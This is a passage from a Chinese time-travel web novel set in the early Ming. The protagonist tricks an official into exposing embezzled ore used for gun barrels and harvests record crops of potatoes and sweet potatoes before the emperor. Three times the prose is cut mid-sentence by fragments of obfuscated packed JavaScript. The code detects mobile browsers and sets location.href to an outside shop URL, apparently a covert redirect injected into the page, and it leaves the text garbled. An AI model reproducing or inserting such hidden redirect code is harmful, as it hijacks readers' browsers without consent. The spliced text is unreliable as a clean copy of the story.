他环顾四周,只见实验田的作物郁郁葱葱,长势喜人,眼看就要到了成熟的季节。 心中不期待那是假的,他都已经可以脑补丰收的景象了。 待这些作物收割完毕,稍加整理,便可作为下一轮播种的种子。 不过时间上来说是有点乱的,毕竟庄里的水稻还要些时日,才能迎来丰收的季节。 到时收割加入仓,免不了又要花些时间。 不过番薯土豆和玉米,只要能在深秋之前能够长成相对成熟的苗,那么新一轮的收成便有了基本保障。 然而,他也清楚地知道,番薯这种作物对寒冷的天气并不适应,一旦遭遇严寒,收成很可能会大打折扣。 因此,在这一轮的种植中,他决定以土豆和玉米为主打,将番薯的种植视为一种尝试和训练,好让自己庄里的农民在未来的种植中能更好地掌握其生长习性。 现今还有重要的事情需要解决。 那就是买新地的资金问题。 另外就是,这周围的荒地,属于谁的他一头雾水…… 朱安宁坐在树下,喝了口果汁。 却也是看到了被朱棣放到桌面上的那个被掐破皮的辣椒。 不免也是想起了那朱怀静。 倒也是好看。 不对……这应当是自己穿越过来之后,看过的最好看的姑娘了吧。 呜……自己好像也没见过几个年轻的姑娘啊…… 一念至此,他还是忍不住有点伤心。 踏马的以前学农全是一群狗男人就算了,怎么现在穿越了,自己要改造大明勇当急先锋了。 还是天天和一群男的混在一起…… 这就是命么? 此时朱棣和朱橚,恰好回到了院里。 两人还沉浸在和母亲离别的忧伤氛围之中。 结果迎上来的却是朱安宁幽怨的目光。 “朱哥……你怎么了?” 朱棣被朱安宁盯得有些发毛,便问道。 “你两,去过秦淮河边么?” 结果朱安宁说出来的话,却是让两人都有些无言以对…… 都知道那是什么地方。 但是这光天化日。 好像也不是聊这些的时候吧。 朱棣朱橚很想当做没听到。 但是朱安宁的目光,却如影随形…… “咳咳……朱哥,我有妻室了……”朱棣,闷了半天,回了话。 “先生……我也是……”而朱橚,也跟在后面回到。 真话,是很伤人的。 朱安宁看着两人,张了张嘴巴,许久不能言语。 最后是失神地开始念叨。 怎么这两直男都能讨到 老婆,自己长这么大手都没摸过……可恶啊,这就是万恶的封建社会么?! “如……如果先生想去秦淮河的话,三江……三江应该知道点东西。”在朱安宁感叹旧世界的险恶的时候,朱橚突然开了口。 “老五,你这不是出卖三江么……”朱棣那是扯了扯自己的弟弟。 “但是先生看起来好像有点可怜的样子……”而朱橚却是振振有词。 “停……不要再说了……”朱安宁此时已经相当受伤,他不想再被正诚所伤,于是连忙叫停。 还是搞钱吧……哎,赚够钱,买大船,造大炮,轰踏马的小日本,上那边去!哼! 朱安宁终于又燃起了些许斗志。 只见他果断地拿起了马皇后送与他的那个木盒,打开,指着那玉如意对朱棣和朱橚问道。 “你两应该懂行些,这玩意,能卖多少?” 这话问出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378758|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,自然也是把朱棣朱橚都干沉默了。 这东西很值钱。 但是……谁敢买啊。 朱安宁是真的看不到这龙凤纹啊…… “先生……上面有龙凤纹……”最后还是朱橚提醒了句。 “我看到了啊,然后呢?” “这应当是陛下那边赏赐下来的……” “嗯?这老伍头有点水平啊,按你说法,这东西不是应该更值钱?” 朱安宁是兴奋了起来。 “朱哥……谁敢买啊……你还是收起来吧,是朱哥你救了我侄儿,母亲感激你才把这宝贝送你的,还是别卖了吧……也卖不动,没人敢买啊……” 朱棣是有点哭笑不得。 但是他说的也是实话。 这就让朱安宁有些恼火了。 感情这东西,要做个摆设? 那伍夫人还不如直接提几千两上来呢…… 那现在搞银子的道路,又变回原来那条了。 “行吧行吧,我现在就放回房间里当摆件……” “当摆件……”朱橚也是翻了个白眼,真就是觉得朱安宁胆大妄为了。 不过朱安宁做事向来跳跃,他们也是习惯了。 “对了,水田的稻谷长得可以吧。” 朱安宁把木盒随手一丢,放到了桌上,换了个话题。 “朱哥,戚叔说长得比隔壁什么郑村他们那边的要好多了,都夸你的肥料好用。” “当真?” “真,我和四哥去看过郑村那边的田了,长得确实一般……虽说播种得比我们早,但是长得不好。”朱橚接话回道。 朱安宁摸了摸自己的下巴。 觉得肥料的事应该可以提速了。 他要钱! 他要小钱钱。 上次成梁过来已经汇报了有足够多的石膏了。 那现在需要的就是大量的尿液,去拌匀。 这件事原本很简单。 尿嘛。 拉就对了。 但是一旦变成大量的话。 那困难指数就会急速增加。 原本他最初的打算是推广到民田那边去的,顺势收一收尿液…… 但是经过几波地主土绅,甚至是蓝玉过来这里闹事后。 他总算是想通了。 民田,俸禄田。 大概率,都不会去用他的肥料。 因为这需要钱。 即便是已经知晓了肥料的作用,他们大概率也不会第一批用。 还是之前的原因,这需要钱。 就像你告诉一个现代人,你有机会赚13块钱,但是你得先掏十块钱给我,这般。 给别人钱是一件简单的事情,但是把钱从别人口袋里掏出来,从来都是一件难事。 所以朱安宁已经很久没有拌肥料了。 自从存够了永乐庄的用量后,他已经很久没有拌了。 他一直在思考该怎样才能更快速地推广肥料,在解决这个问题之前,他不想贸贸然生产。 积压库存是有极大风险的! 特别是现在他朱安宁只是个小企业主,可折腾不起。 基本路线绝对不能走错。 但是……自从某人出现后,朱安宁觉得他找到了事情的转机。 那人,真是院外的赵集! 工部侍郎!!! 他应该是能和管军屯的人说上话的。 自己这肥料生意,太子可是有股份在里面的啊。 干嘛不直接推广到军屯那里呢? 既能通过明初军屯相对良好的纪律性获得大量的尿液,又能以国家购买的方式,推广第一批肥料。 现在最后的问题,就是怎么去说服赵集,和更上面的人了…… 朱安宁挠了挠头。 只觉得赚钱真的不简单。 朱棣和朱橚也不知道朱安宁在想什么。 两人只看着朱安宁一时皱眉,一时微笑,多少有点癫的样子。 “四哥,先生是不是又犯病了……” “要浇童子尿你浇……别让我来……唉哟!!” 两人的话语,自然是被朱安宁听见,他恼火地给了两人一人一个爆栗。 “朱爷我是在思考!别老是懂不懂就浇童子尿……算了 ,不和你两有妇之夫聊!我找赵大人有事。” 朱安宁说完,便气冲冲地跑向院外。 让朱棣和朱橚都感到有些无辜。 “四哥,先生他好像很不喜欢我们成婚?” “嗨,先生也许是憋久了吧,要不还是让九江带朱哥去一趟秦淮河?” “四哥说得有道理……” 两人在院里摇头晃脑,院外的朱安宁却跑得相当快。 铁冶距离他的小院还是有点点距离的。 不然天天近距离铛铛铛那是要烦死他的。 他冲到营造里,扫视了一圈。 “赵大人呢?” 几个官吏和工匠,也是抹了抹乌黑的脸,茫然地看向了来人。 “啊,是朱大人啊,赵大人在角落呢。” 一个主事指了指高炉最边上的那几人。 朱安宁知道,那是磨枪管的地方。 当朱安宁凑过去的时候。 只听见赵集在那嘟囔。 “怎么会……这批枪管磨的速度怎么会这么快……” 朱安宁不动声色地看了眼赵集眼前的枪管。 他之前强烈要求过要编号,自然知道,那些都是……库房刀剑重新熔铁而成的。 —————— PS:5K了,夸我! 第一百五十五章 求求你不要拉我去找陛下…… 赵集对比了一下两边的枪管,有些疑惑。 他并非是不懂技术的人,这左边的对穿速度明显要更快些…… 虽说不是同一人在这里洞穿铁管……但是,差距还是有点大啊…… 赵集立马对身边的主事吩咐了句。 “把铁管全部拿过来!!!” 那主事看了下赵集严肃的表情,那是愣了愣,但是还是很快跑了起来。 不多时,他就已经从各个工匠手中,把正在进行洞穿作业的钢管全部收了起来。 堆在地上,数量其实不算很多。 赵集没有言语,他立马开始检查了起来。 然后脸色是越来越难看。 那负责铁管的主事,也是有些僵硬。 他看了看同伴和工匠们,又看了看赵集和朱安宁,张了张嘴,然后却又害怕似地,没有开口。 气氛一时之间诡异了起来。 赵集的脸越来越黑。 朱安宁也是叹了口气。 哎呀,计划得好好的,结果这地方出了纰漏。 也是,古人又不是傻子…… 只见赵集黑着脸,缓缓地站了起来。 对着棚内的人,大喊了一句。 “诸位,今日可以先歇息下了。” 这话,说得相当突然。 蒯富抬头对了下太阳的位置,只觉得还没到时辰才对。 在各位大佬身边工作多年的他,猜都猜的出来,应该是有些问题出现了。 但是天塌下来,有赵侍郎扛,有朱庄主扛,怎么也轮不到他一个大工匠扛。 便对有些愕然的众人使了个眼色,然后大声笑道。 “呵呵,天气也热啊,赵大人是体恤大家呢,今天就先到这里吧。” 他帮了下嘴,示意大家先走。 工匠们虽然不明所以,但是赵大人开口了,自己的工头也开口了。 除了几个看炉子的人,剩下的自然是下班大吉了,毕竟明朝也没有加班费。 几个主事也是轮流过来和赵集打招呼。 特别是那负责枪管的主事,他深深一个礼,把其他主事都吓了一跳。 他和赵集对视了一眼。 都快要看到了拉丝的那种…… 却最后还是没说出任何话语。 最后,赵集也只能点了点头,摆手让他们离去。 很快,人已经走得七七八八。 赵集回头看了眼朱安宁,然后开口道。 “朱大人,可否借一步说话?” 他脸色铁青,手里拿着两根铁管,一副要从南天门砍到蓬莱东路的样子,多少有点骇人。 朱安宁也只能叹了口气,回道:“赵大人,还是回我院里说吧。” “也好。” 两人便一前一后,往朱安宁的小院走去。 一路,无言。 待到院内时,他却也发现了,伍文和伍燕,已经不见了踪影,想来应该又是下了田。 这也省去了朱安宁还要找个理由把他们赶出去。 朱安宁连忙给赵集倒了杯茶。 然后自己也喝了口,静静地等赵集开口。 只见赵集,也是相当纠结的样子,他拿着铁管,迟迟不出声。 院子里只剩下那棵树的沙沙声,和远处风儿拂过田野的声音。 最终,赵集还是放下了捏了许久的那两根管子。 手指捏得发白,随着他松手,脸色也唰地一下,由黑变得苍白。 最后是颓然地瘫坐在了椅子上,长长地叹了口气。 “朱大人,同一个炉子,同一个法子,同一批焦煤,炼出来的铁,应该差距不大吧。” 他似在发问,又是在自问。 朱安宁没有马上回答,他又是给赵集添了点茶,然后,才点的头。 “所以,如果说这铁不一样,那应该就是材料的问题了……” 赵集苦笑着拎起了一根枪管,指着上面的刻印说道。 “朱大人,你是未卜先知?这刻印,现在看来可太重要了啊。” 赵集一直在绕,他迟迟不敢说出是库里的兵器有问题,因为库里兵器有问题的话,也意味着,城西那矿有问题。 这是不可能的! 那矿他是去看过的,矿石的质量确实可以。 怎会如此!!! 他想不通,或者说是不敢想通。 “赵大人,不妨说明白些,现在是在院内。” 朱安宁低着头,又喝了口茶。 他可不想像嘉靖和他的几个阁臣大佬那样,说话老费牛鼻子劲。 “这造兵器的材料或者不知道哪个出了问题,导致了回炉后出来的品质不高,和正经铁矿石熔炼出来的铁管,差距甚大!” 他把那管子推到了朱安宁的面前。 继续说道:“这质地有问题,钻这么快,不用说按朱大人你说的点火和压弹方式,就是咱们现在在用的火铳,用这种枪管,怕不是也是说炸就炸!” “城西那边,其实早就有传闻说供给工部虞衡清吏司的矿,和民用的,都是同一批。不知道赵大人是否有听过。” 朱安宁终于放下了茶杯,开始直视赵集。 今天,他们两个要是在这里把这件事情说开。 那两人真就是一条船上的人了。 本来朱安宁也是很纠结的。 但是今天看这赵集的脸,都已经黑成这个样子,那也没什么好怀疑了。 便拉了他来院子里聊事。 “此事……我未曾听过……”赵集那是心中大骇,原来真就是材料出了问题,他牙龈都快要咬碎,从嘴缝中憋出了几个字:“是哪些天杀的人,竟敢如此大胆!!!” 赵集当然未曾听过。 其实根本就没有这条传闻。 只是朱安宁为了保护下线人成梁同志而随口胡诌的而已,反正物证现在就在这里,他们也不需要什么人证。 “那本该我工部虞衡清吏司的矿呢?!!”赵集猛地拍了下桌子,满脸通红,一副想杀人的样子。 “不知……” “不知?” “能截留这批矿的,定然不是常人。所以我不知……” 朱安宁说得很是光棍,而且他也真的是不知道。 只见朱安宁也是站了起来,踱了下步,最终还是下定了决心。 “赵大人,不知道您是否相信我朱某。” “朱大人,我怎会不信你!而且,如果不是你强行要做这记号,我……哎,我到时更是有理说不出!不行,我现在就要去告到陛下那去,畜生啊,真是畜生啊,我工部虞衡清吏司的矿都敢贪,反了啊!朱大人,你也跟我去,为我作证!!!” 赵集和朱安宁说完话,一副就要抄起棍子跑回城里的样子,还顺手扯上了朱安宁。 这是把朱安宁结结实实吓了一跳。 mmp的,自己就是极力避免卷进这些事情里。 你老赵倒好,拖我去见朱元璋。 妈呀,杀人啦!!! 他连忙一个马步,在拖住赵集和自己摔个狗啃屎之间,做到了前者。 “赵大人,勿急,我知道你很急!但是你先不要急!” 朱安宁勉强保持住了身形,然后一把按住赵集,示意他先坐下,有话好好说。 “朱大人?” 赵集愤怒还未消去的脸庞上,自然又添了两抹疑惑。 “赵大人,你仔细想想一般人能做到把官家的矿,和民用的矿,替换?” 他不敢放赵集起来,而是直接问出了问题的核心。 就这一句话,让赵集里面停止了躁动。 他不在试图站起来,而是定定地坐在了那里。 一脸茫然,和恐惧。 内鬼…… 有内鬼…… 而且,品级!不低!!! 赵集立马反应了过来。 刚才他就是性子急,而不是蠢。 经朱安宁这么一提点,他不想冷静,也被迫冷静了下来。 他张大了嘴巴,呆呆地看向了朱安宁。 朱安宁也总于是松了口气。 妈呀,力气真大啊,这真的是文人? 心里面腹议了两句,他还是开了口。 “赵大人,不妨今儿回应天府,查一查,刀剑是否已经运走或者挪用掉了,想必边塞是不敢送去的,屯田卫所那些地方,相当有可能,如果真的尽数送去些无关紧要的地方,您看看,是谁批的,不就一目了然了么?毕竟今天来看,我们用矿炼出来的铁,是毫无问题的,有问题的果然就只是刀剑那批铁而已。” 朱安宁提点了两句。 他可是大明1566等各类权谋剧的忠实爱好者。 这点小小的推断,他还是做得出来的。 这说辞,是让赵集眼睛一亮。 只觉得眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378759|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的年轻九品朱大人,怎么一副当官多年老谋深算的样子啊…… “好好,找出那幕后之人才是关键,朱大人好想法,我这就回去找登记簿!找出是哪个天杀的,我要告陛下!告陛下!” 赵集又是起身,然后依旧是扯住了朱安宁。 “朱大人也同我一起去吧!!!” 朱安宁那是一脸懵逼。 我靠,又拉上我? 而且不是这个意思啊! 这赵大人怎么天天就告中央告中央的,他是吗喽么!!! 于是他又只能使出他的马步……一把拖住赵集。 这次他可没有力气按他了。 只能僵持着,朱安宁开了口。 “赵大人!赵大人诶!你轻点轻点,扯我衣裳要勒死我了啊!你冷静点,你现在告陛下,你跑得了,不也是要治罪?!!!” “我罪有应得,没有管好虞衡清吏司,没能发现刀剑之劣!我!我这就去谢罪!朱大人你也来!” “……我草!” 朱安宁终于是忍不住骂了出口。 他又没犯法,谢什么罪。 “赵大人你去谢罪,你有想过你家人么!!!” 他大喝了一声。 终于把赵集硬控了下来。 两人站在那里喘着粗气。 “赵大人,不是我说,这破事又不是咱做的,咱犯得着去陛下哪里讨罚么?!” 朱安宁一脸大无语。 “那……那这就放那些可耻的蛀虫垃圾们继续 在咱的眼皮底下继续犯事??!这还有天理么,还有王法么!” “停停停,抓这要钱不要命的贪吏,我有法子,犯不着把自己搭进去。赵大人你是清高的,你不贪不偷,这很好,但是你且听好,清高并不会帮助你驱逐这些贱种,只会让你在和他们对上的时候处于下风!!!像刚才那样头脑一热,自己跑去陛下那里领罪!最后查下来,说不定人家还能明哲保身,就你挨了罚!” “朱大人!你这话!” “你看,又急了,听我说完嘛!这枪管,我们继续造,赵大人你只需要确定你有登记这一批旧刀剑的去向,是我们这永乐庄的铁冶就行!” “这我当然是有登记在册的。” “好,有登记就行,咱们继续造,然后届时成功制好一批鸟铳,就送去宫里验收,验收方式是每把枪开火二十次!连续的,说是看射程和命中!赵大人你应该听得懂我的意思吧!” “……朱大人,你继续说!” “当然了,验收前你且需要和陛下好好说清楚,这些鸟铳怎么造的,材料来源是什么,刻印也适时展露下就好了嘛。用矿的这批枪管基本是没问题的,到时炸前面那一批,后面这批没事,多精彩。” 朱安宁嘿嘿笑了起来。 台词都差不多帮赵集想好了。 臣什么都不知道啊。 臣这是兢兢业业每日每日地把鸟铳赶制出来了啊。 怎么这批旧刀剑熔出来的枪管,会这般不堪! 这没道理啊! 这么嚎上一通,反正第二批鸟铳是成功的,赵集大概率功过相抵。 而自己也不必暴露。 让老朱自己去杀贪官就对了。 反正在杀贪官这一方面,朱八八是自动档。 看着朱安宁笑嘻嘻地说出了自己的计划。 赵集又是张大了嘴巴。 真是见鬼了。 是自己是朝廷命官还是他是朝廷命官。 怎么会有人那么熟悉官场运作? 这一套下来,赵集是知道肯定行得通的。 而且好像也谁都不必得罪,还能促使陛下去抓人。 “朱大人……真是好官……好官……” 两句好官,意义不同。 赵集是笑得有些勉强,但是这竖起的大拇指,是真心实意的。 “诶,这不是捧杀我么,我还有很多要向赵大人学习的呢。” 朱安宁连忙打了个官腔。 刚才也是急了,说得相当直白。 现在回过神来了,自然又是恢复了之前的做派。 不过,他还是又补了一句。 “赵大人,清官要想整治贪官,要比贪官更奸!” “好人要想整治坏人,要比坏人更坏!” 朱安宁,笑了下,又开始坐下来喝茶。 “赵某,受教了。” 第一百五十六章 亿点点小收获 赵集已经回去。 朱安宁则是坐在那,喝完了剩下的茶水。 突然有了一种,自己好像真的当官了的感觉。 怎么都开始参与这种官场事了呢。 不好不好。 和自己的志向不符。 得改正! 他叹了口气,一副有些懊恼自己是不是说得太多……的样子。 而院里,又恢复了寻常的样子。 朱安宁瞄了瞄已经长得差不多的辣椒。 决定犒劳下自己。 他咬牙掏出了自己房车里的最后一点存货。 开始炖肉。 香气,不多时就开始在院中四散。 这是科技的力量……没错,朱安宁奢侈地掏出了他的袋装老卤汁…… 纯科技型卤汁,就是猛,嘎嘎香。 锅中翻腾的干辣椒,又给这香味增添了一点复合的香味。 不知过了多久,院子里开始有人陆续回来。 自然也都是闻到了这扑面而来的香气。 李景隆那是直接就凑了过来。 “香,哎嘛,真香……” 这台词过于熟悉。 让朱安宁不由得想起了某个吃炒饭的王姓男子…… 便也是笑着晃了晃脑袋。 揭开了锅盖。 直接是把李景隆的眼睛都给看直了。 “今儿什么日子啊!”看见有好吃的,他也是咧嘴笑了起来。 “今儿是你们先生我,大败这小小方孝孺的大喜日子!” 朱安宁虽然被那枪管的事给冲了冲,但是今天把小小方孝孺的嘴脸给撕了,还是很爽的。 爽的自然不止他一人,朱棣也是眉开眼笑。 不知为何,朱棣总是看到方孝孺就想揍他,只觉得这人怪恶心的! 只有朱橚叹了口气。 他总觉得,今天这些事,牵扯的人有点多。 母后居然也来了。 这……也不知道是好事还是坏事。 “小周,别一副哀伤春秋的样子嘛。” “但是,先生……这般折辱一个……”朱橚想了想,觉得自己说得有点重,最后却也是停顿了下来。 朱安宁自然也是能听出他想表达什么,也是没恼。 他笑着回道。 “谁折辱他了,而且今天这锅肉,还真有点其他说法的。” “什么?” “咱们的田,终于要收获了啊!” 朱安宁哈哈大笑了起来。 其他人也回过了味来,眼睛都是同时亮了起来。 特别是朱橚和李景隆。 前者是因为兴趣,后者是因为,他才是这些实验田的主要负责人。 “先生,什么时候收!” 李景隆舔了舔嘴唇,那是兴奋到有些颤抖。 朱安宁还是低估了这些田收获对这群年轻人的意义。 刘畾和刘廌都凑了过来。 这群人都眼巴巴的看着朱安宁。 竟是没有一人再去看那锅肉。 这一群人围上来,就算是朱安宁也突然有了点心理压力。 怎么地,这群人好像很懂这实验田代表的意义吼…… “就明日吧,趁早收了,你们几人的安排也要变一变了……” 朱安宁推了推凑得过近的李景隆,又继续说了下去。 “小周,接下来,就是你的主场啦!” “主场?” 几人一脸懵,什么意思? 朱安宁却得以抽身,后退了一步。 神秘地笑了笑。 没有言语。 他看着朱橚,是越笑越神秘兮兮。 直到把朱橚的鸡皮疙瘩都笑了出来。 朱安宁其实想的是,他的成人职业培训,也该要开始了。 这些日子,通过对比别的村子和永乐庄的稻谷长势。 庄里的人应该已经完全信服他们了。 肥料是有用的,很有用。 那么在整个庄子里,轮作一下马铃薯,土豆玉米,应该阻力不大。 顺势推进这群老农的扫盲活动。 他有一个小计划。 小小的计划。 先慢慢给永乐庄的人进行简单的扫盲,进行一定的农学职业培训。 进而,是否可以,进行其他培训呢? 一念至此,他是咧嘴嘿嘿笑了起来。 拿着大汤勺,站在锅前的样子,多少有点渗人。 “先生有点不对劲啊……”他悄然对朱棣说道。 “要不还是辟下邪?童子尿不行,我听说狗血黑驴蹄子好使。” “四哥你能不能不要老是信这些……” “五弟,上次尿没用是哥哥的错,但是狗血是真的有效的,你信我……” “我不信……我觉得先生应该还是需要些排解,要不让三江带先生去河边一趟?” “河边?什么河边?”李景隆听得一头雾水。 “咳咳,秦淮河,你不是去过么!” “四哥咳……你莫要含血喷人,去那些地方,爹不得打断我腿……” “哦?” “哦?” 几人都看向了 李景隆,皆是一副不信的样子。 是把李景隆都给看恼火。 却又无可奈何。 只能脸一阵红一阵白。 朱安宁站在他们对面,锅中蒸汽氤氲,水声沸腾,一时间也是没听清他们说什么东西。 只是依稀听到什么秦淮河,要去……之类的话。 那是眼睛一亮。 “咳,秦淮河边,风景怎么样,特别是晚上。” 他,直接发出了灵魂拷问。 “……” 于是,几人,在那锅科技型香卤肉面前,一时,竟有些,无言…… —————————— 收番薯和土豆是一件很累人的事情。 特别是带了几个根本没收过的人。 清早,朱安宁洗漱完毕,老早就开始了劳作。 几个年轻人也是如此。 种了那么久,终于收成了! 谁还能睡懒觉啊。 “三江,三江,我的三江诶,你一锄头下去,都刨烂了啊!!!” “阿畾啊,这是土豆,不是花生啊!你这拔得出来才怪?” “啊???阿廌你问什么是花生……哦对哦……你们没见过花生……” “哇塞,别踩进田里挖啊,小燕,你个莽夫,真是莽夫!!!” “诶,小周,就你听得懂我在说什么,孺子可教孺子可教,剩下你们几个都是非人哉,非人哉!!!” 朱安宁一边劳作,一边看到想要跳脚,骂人骂道嘴角冒泡那种。 “停停停,都给我停,再看我挖一次!!!” 朱安宁气得已经快要吐血。 被点名的几人看着自己挖烂的土豆,也是有些颓然……被朱安宁那是骂到不敢回话…… 朱安宁弯腰,指着土层,大声嚎道:“这么深就行!!!然后再慢慢抠,懂不懂抠这个字是什么意思,有没读过书,是抠!不是用你们的锄头往下往死里挖!看见了么,只要慢慢抠,这一整串就能挖出来,损了土豆和番薯都是保存不了的,懂?!” 他把自己挖出的那串完好无损的土豆放进了旁边的箩筐里。 长舒一口气。 几人则是战战兢兢地开始再次按照朱安宁的要求劳作。 没人敢BB些什么。 因为这本就是他们辛苦种出来的东西。 挖坏了他们自己也心疼。 虽然速度一下就慢了下来。 但是很快,朱橚还是刨出了一阵串土豆。 满身泥土的五皇子朱橚,一下就跳了起来。 “先生!挖出来了!挖出来了!” 他笑得无比灿烂,此刻他只觉得这就是天底下最快乐的事情。 随着朱橚的成功,几人也都是陆续刨出了土豆,虽然有些磕绊,但是总归还是保证了单个土豆的完整。 几人皆是不约而同地笑了起来。 而包括朱安宁在内的所有人,都没有注意到。 院子里,不知什么时候,又站多了三个人。 正是朱元璋,朱标,和见到了这两父子,被顺便带进来的赵集。 昨夜戚祥就已经进宫报告了实验田将要收获的消息。 朱元璋和朱标,那是大清早就上完朝,丢下几个懵逼的阁臣,连李善长刘伯温等人都没有知会,就急匆匆地出了宫。 目的地真是这小院子。 “这……这一株居然有这么多!” 朱元璋和朱标都是见过土豆的人,他们知道这一个下去,其实还是能饱腹的。 估算下一,这一株真就能供一个人吃两顿了啊! 就算是朱元璋这种经历过无数风浪的人,都忍不住颤抖了起来。 虽然早早他就听过朱安宁说这土豆如何如何,番薯如何如何,他也相信应该八九不离十。 但是,真正事实摆在眼前的时候,还是无比冲击! 朱标也和他老爹般,差不了多少。 随着朱元璋颤抖的声音喊出,挖土豆的几人,也是注意到了院子中的来人。 朱安宁那是有些意外。 “伍爷?你们怎么来了?” 他倒是没有什么想行礼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而有个未下田干农活的人,正提着秤砣,开始了量重。 成梁不可置信地在自己的小册上写下了数字,然后又继续测量剩下的箩筐。 他是被朱安宁遣人叫回来帮忙的。 而且,这些作物能顺利种出来,成梁是功不可没的,没有他的石膏,就没有这般产量,所以下意识地,朱安宁不想让他错过这场收获。 只见成梁激动地跑到了一众人的身边,深深地行了个礼,然后吸了口气。 “朱哥,咱们的田是远不到一亩的,我刚才量了下田的大小……按亩产算的话,土豆,一亩产十三石有多。” 成梁的呼吸非常急促。 不仅是因为他刚才跑来跑去,而且称量是个体力活。 他是激动。 真的激动。 他也是在蓝玉家做过农田管事的。 他知道十三石的产量代表了什么。 这句话音落下。 所有人都看向了朱安宁,接着又看向了朱元璋。 赵集则是差点按捺不住,想冲到朱元璋面前,恭喜一番…… 所幸,最后他还是恢复了神智、 朱安宁,没有言语,他只是在笑。 成功了。 麻辣隔壁的,真的成了。 小爷我成了啊。 没想到自己真能种成。 他就坐在那里傻乎乎地笑着。 朱元璋,也是没有马上说话。 他们都在等着下一个数据。 成梁也是抖了抖。 因为接下来的数字,过于魔幻。 他甚至认为自己是不是在做梦。 成梁往后看了看,那是装番薯的箩筐。 为了保险,他是称了两遍的。 结果都没有什么大出入。 他只能强自镇定了下,才开的口。 “番薯……番薯按亩产算,一亩,当是二十五石!” 这一声,石破天惊。 让包括朱元璋在内的人,是久久没能回过神来。 他们知道很多。 挖出来时就知道了。 但是,二十五石,这代表了什么? 赵集是一个眩晕,差点就坐不住,倒在地上。 这个分管工部的大员。 居然就这样嚎啕大哭了起来。 “天佑大明,天佑大明啊!!!” 第一百五十七章 我也小赚一点嘛 赵集哭的凄厉。 虽然他只是工部侍郎,并不是尚书。 但是,他管的事是一点都不少。 本着上下五千年都盛行的,多劳,就要更加多劳的,能者多劳优良传统。 赵集可是身兼多职的。 明面上,他是工部虞衡清吏司的主官,但是同时水利又由他负责部分。 那既然水利也是由他负责了部分,那粮食的收取,是不是应该也是由他来负责一下下呢。 这很合理嘛。 所以,三品牛马赵大人,这两年来,压力很大。 特别是今年,山西等地,大范围旱灾加蝗灾,已经不是歉收了,这是绝收啊! 粮食缺口之大,全大明,恐怕没有人比他更清楚。 所以,当他听到十三石和二十五石的产量的时候,他脚下一软,是真的全身心都突然松了下来,接着,便是住不住地嚎啕大哭。 “好啊,好啊……但是这等神物,怎么不能早些年出现啊,山西啊,这么多口人啊……哎……”老赵抹了把眼泪。 很是悲戚。 其实不止是他,朱元璋和朱标,亦是如此。 他们的案头上,是有人汇报过,受灾情况的…… 有些村子,即近绝户…… 所有人都知道粮食产量越高越好。 但是却也只有朱元璋,朱标,和赵集,能够深刻认知到,粮,就是命啊…… 朱元璋掐了一把自己的大腿,深吸了口气。 然后转头看向了还是在那乐呵呵笑傻笑着的朱安宁,说道。 “安宁小弟,这般产量,实在是出乎意料啊!” 他长叹着,死死地盯住了院中那一堆箩筐。 朱安宁此时也终于回过了神来。 只见他舔了舔嘴唇。 眉眼中全是兴奋。 比之前预估的产量要高。 这证明了起码第二代是没有退化的。 而且肥料也是有效的。 退化一事,比较难以解决,但是肥料有效,这可就太重要了。 虽然有可能也是这几片荒田本来肥力就尚可的缘故。 “伍爷,这只是第一茬,本来我手头上的量就不多,再怎么育秧,也就只能种出这么多,但是现在不一样了啊,你看,满院子都是收获!!!” 朱安宁的眼睛亮了起来。 第一茬出来后,不出意外的话,这满院子的收获,几千亩是可以种下去的了! “对,当务之急是种下第二茬,但是水稻的收获时节也差不多到了,这批新粮,可以让应天府近郊的农户,多少种一些了!” 老朱兴匆匆地看了眼朱标,又看了眼赵集。 这事的推动,宜快不宜迟,老朱还是很有眼力见的。 这十几二十石的粮种下去,今年冬天之前,再怎样也得有点收成吧。 反正看朱安宁种的时间,那是比水稻所用的时间要短的。 推广,要快! 一个眼神,三人就达成了共识。 院子里,很快就开始弥散一股狂热的气息。 帝国的运作,靠得就是钱粮,而打仗,靠得更是钱粮。 只有朱安宁却泼冷水似地摇了摇头。 “不行,不能给其他农户种!”他头摇得跟拨浪鼓似的。 一下就把赵集给摇得人急了起来。 “朱大人,你这是什么意思?” 他直接叫了大人,那语气也是严厉极了。 在场的人都知道赵集是急急人……只是这一次,那是全员急急人,还有个急急国王在。 一众人的视线都投向了朱安宁。 把他看得是一阵心悸…… “总之不行,反正伍爷,我是答应过你的,一半是你和季爷,李叔他们的,这一办怎么用,我管不了,但是属于我的这一半,我自己另有安排。” 他还是坚持摇了摇头。 任朱元璋眉头都要皱到能夹死苍蝇了,朱安宁都是没有松口。 这下连朱橚都急了起来。 他是懂行的。 “先生,你说过番薯一年两季没问题,土豆也是如此,二者产量都这么高,为什么不让应天府的农户都去种啊!” 朱橚冲到了朱安宁的身前,直接做了其他人的嘴替。 “诶,你们先别急嘛,我没有说不推广,比如说小周,还有小季,三江,你们拿一半去分,尽量快些让自己家的田种上,这是完全没问题的啊。但是我自己的,有他用。” 